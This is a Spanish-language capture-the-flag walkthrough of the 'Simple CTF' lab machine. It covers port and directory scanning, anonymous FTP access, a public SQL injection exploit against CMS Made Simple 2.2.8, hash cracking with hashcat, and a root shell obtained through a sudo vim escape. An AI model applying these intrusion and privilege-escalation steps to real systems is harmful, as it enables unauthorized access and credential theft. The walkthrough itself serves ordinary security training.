Simple Capture the Flag

30/10/2021

Enumeration

Whatweb

whatweb 10.10.47.122
http://10.10.187.209 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.187.209], Title[Apache2 Ubuntu Default Page: It works]

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux
whichSystem.py 10.10.47.122
10.10.187.209 (ttl -> 61): Linux

nmap

sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.47.122

21/tcp open ftp   syn-ack ttl 61
80/tcp open http   syn-ack ttl 61

ademas encontramos un puerto 2222 que es un ssh

descubrimos dos puertos

lanzaremos scripts basicos de reconocimiento y detectar la version

sudo nmap -sC -sV -p21,80,2222 10.10.47.122

```
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.13.14.123
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

descubrimos que podemos acceder al ftp como anonymous

tratamos de acceder al ftp

ftp 10.10.47.122
Name (10.10.187.209:solo): Anonymous
ftp>ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x   2 ftp   ftp   4096 Aug 17 2019 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--   1 ftp   ftp   166 Aug 17 2019 ForMitch.txt
226 Directory send OK.

Descargamos el archivo encontrado

ftp> get ForMitch.txt

el archivo dice

Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Maldita sea, hombre... eres el peor desarrollador que he visto. Pusiste el mismo pase para el usuario del sistema, y la contraseña es tan débil... la descifré en segundos. Dios... ¡qué desastre!

ademas de esto lanzaremos un reconocimiento de vulnerabilidades

sudo nmap --script=vuln -p21,80,2222 10.10.47.122 -oN Vulnerabiidades

```
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.13.14.123
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 30 20:41:52 2021 -- 1 IP address (1 host up) scanned in 40.31 seconds
```

no nos dice nada, pero probablemente hay más directorios

Gobuster

usamos gobuster para encontrar directorios

```
gobuster dir -u http://10.10.187.209 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py
```

```
+ http://10.10.187.209/index.html (CODE:200|SIZE:11321)
+ http://10.10.187.209/robots.txt (CODE:200|SIZE:929)
+ http://10.10.187.209/server-status (CODE:403|SIZE:301)
==> DIRECTORY: http://10.10.187.209/simple/

---- Entering directory: http://10.10.187.209/simple/ ----
==> DIRECTORY: http://10.10.187.209/simple/admin/
==> DIRECTORY: http://10.10.187.209/simple/assets/
==> DIRECTORY: http://10.10.187.209/simple/doc/
+ http://10.10.187.209/simple/index.php (CODE:200|SIZE:19993)
==> DIRECTORY: http://10.10.187.209/simple/lib/
=> DIRECTORY: http://10.10.187.209/simple/modules/
```

encontramos varios directorios, pero el que más nos hizo poner atención fue el /simple/ y /admin/

analizando el directorio /admin/ podemos notar que usa

CMS Made Simple version 2.2.8

buscamos una vulnerabilidad que podamos explotar

```
searchsploit "CMS 2.2.8"
```

y encontramos

```
CMS Made Simple < 2.2.10 - SQL Injection                | php/webapps/46635.py
```

este exploit crackea el admin password que anteriormente habíamos encontrado en los directorio

ejecutamos el exploit

```
python3 46635.py -u http://10.10.47.122/simple/ --crack -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt
```

encontramos las siguientes credenciales

```
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
```

lo crackeamos con hashcat

```
hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/seclists/Passwords/Common-Credentials/best110.txt
```

Obteniendo acceso a usuario normal

ingresamos a la consola admin con las credenciales encontradas
http://10.10.47.122/simple/admin/login.php

user: mitch
password: secret

y tenemos exito

también entramos al ssh con las mismas credenciales

```
ssh mitch@10.10.47.122 -p 2222
```

```
cd mitch/
ls
user.txt
cat user.txt
```

obetenemos la bandera
G00d j0b, keep up!

Explotation

ahora buscamos algun tipo de escalada de privilegios
encontramos otro usuario

sunbath

ejecutando el siguiente comando podemos escalar privilegios

```
sudo -l
```

```
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
```

ejecutando el siguiente comando podemos escalar privilegios

Obteniendo acceso a usuario root

para escalar privilegios en vim nos iremos a

ejecutamos

```
sudo vim -c ':!/bin/sh'
```

tenemos acceso con escalada de privilegios

```
cd root/
ls
root.txt
cat root.txt
```

obetenemos la bandera
W3ll d0n3. You made it!